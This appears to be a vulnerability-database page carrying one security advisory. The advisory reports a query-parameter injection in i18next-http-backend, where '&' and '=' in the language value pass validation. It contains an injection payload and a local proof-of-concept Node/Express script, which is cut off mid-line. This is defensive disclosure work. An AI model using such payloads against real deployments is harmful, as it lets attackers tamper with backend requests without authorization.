Threats tagged 'ghsa-3cmx-xjww-583x'
1 threat
Most recently published first
| Severity | CVSS | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|
| Low | 3.7 | CVE-2026-118258i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query Low3.7GCVE DatabaseCVE-2026-118258 ### Summary The URL-segment check added for GHSA-q89c-q3h5-w34g blocks `?`, `#`, `%`, `:`, `/` and `@` in `lng`, but not `&` or `=`, and the checked value is inserted into the URL without encoding. The README documents a multiload loadPath of the form `/locales/resources.json?lng=de+en&ns=ns1+ns2`. With a template like that, an attacker who controls the language value can add or override query parameters on the request the backend sends. By default the language comes from `?lng=`, a cookie or `Accept-Language`. This is the "query-string injection" impact described in GHSA-q89c; only the `?` form was closed. Server side (Express + i18next-http-middleware, default options), `GET /?lng=de%26ns%3Dprivate%26admin%3Dtrue` makes the application request `…?lng=de&ns=private&admin=true&ns=common` from its own translations API. ### Details The checks are in `lib/utils.js`. The base check (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L26-L44) rejects: - empty or >128-character values and prototype keys; - `..` and `\`; - `/[?#%:\s]/`; - control characters. `isSafeLangUrlSegment` (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L51-L55) adds only `/` and `@`. **Neither function rejects `&` or `=`.** ```js if (/[?#%:\s]/.test(v)) return false // utils.js L40, no & or = ``` `interpolateUrl` then splits on `+`, checks each segment, and joins the **raw** segments into the template, with no encoding (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/utils.js#L159-L184, return at L174). Call sites: - `_readAny` builds the load URL with `interpolateUrl(resolvedLoadPath, { lng: languages.join('+'), ns: … })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L64 - `create` builds the missing-key URL with `interpolateUrl(addPath, { lng, ns })`: https://github.com/i18next/i18next-http-backend/blob/v4.0.3/lib/index.js#L133 The README documents the query-shaped URL for multiloading (https://github.com/i18next/i18next-http-backend/blob/v4.0.3/README.md?plain=1#L130). The language value is attacker-controlled in normal setups, as GHSA-q89c itself says: detectors read `?lng=`, cookies, `localStorage` and request headers. i18next-http-middleware's `LanguageDetector` does the same on the server. Where `?` is placed in the template determines which characters are structural. The fix treated only the path position. In a query position, `&` and `=` are the separators, so they must be rejected or encoded too. **Suggested fix.** Reject `&` and `=` (and `;`) in both `lng` and `ns`; no BCP-47 language code or usable i18next namespace contains them. Alternatively, `encodeURIComponent` each `+`-joined segment when the placeholder appears after `?` in the template. ### Proof of concept How to run (Node 18+; everything runs on 127.0.0.1, with a fake translations API and an Express app): 1. `mkdir i18next-poc && cd i18next-poc` 2. `npm init -y` 3. `npm i i18next@26.5.1 i18next-http-backend@4.0.3 i18next-http-middleware@3.9.9 express@5.3.0` 4. Save the script below as `poc.mjs` 5. `node poc.mjs` ```js // i18next-http-backend 4.0.3: '&' and '=' in lng pass isSafeLangUrlSegment, so a loadPath that puts // {{lng}} in the query string (README multiload shape) gets extra parameters. // Everything runs on 127.0.0.1: a fake translations API and an Express app. import http from 'node:http' import express from 'express' import i18next from 'i18next' import Backend from 'i18next-http-backend' import middleware from 'i18next-http-middleware' const seen = [] const api = http.createServer((req, res) => { seen.push(req.url) res.setHeader('content-type', 'application/json') res.end('{"hello":"hi"}') }) await new Promise((r) => api.listen(0, '127.0.0.1', r)) const loadPath = `http://127.0.0.1:${api.address().port}/locales/resources.json?lng={{lng}}&ns={{ns}}` const wait = () => new Promise((r) => setTimeout(r, 200)) // 1) Direct: lng values passed to i18next as-is. console.log('[1] direct init') for (const lng of ['de', 'de?admin=true', 'de&ns=private&admin=true']) { seen.length = 0 await i18next.createInstance().use(Backend).init({ lng, fallbackLng: false, ns: ['common'], backend: { loadPath } }) console.log(` lng=${JSON.stringify(lng).padEnd(28)} -> API got: ${seen.length ? seen.join(' ') : '(no request, refused)'}`) } // 2) Server side: language taken from the request by i18next-http-middleware (default options). console.log('[2] Express + i18next-http-middleware LanguageDetector') const i18n = i18next.createInstance() await i18n.use(Backend).use(middleware.LanguageDetector) .init({ fallbackLng: 'en', preload: ['en'], ns: ['common'], defaultNS: 'common', backend: { loadPath } }) const app = express() app.use(middleware.handle(i18n)) app.get('/', (req, res) => res.send(req.t('hello'))) const web = app.listen(0, '127.0.0.1') await new Promise((r) => web.on('listening', r)) await wait() for (const q of ['de', 'de%26ns%3Dprivate%26admin%3 | GCVE Database |
Page 1 of 1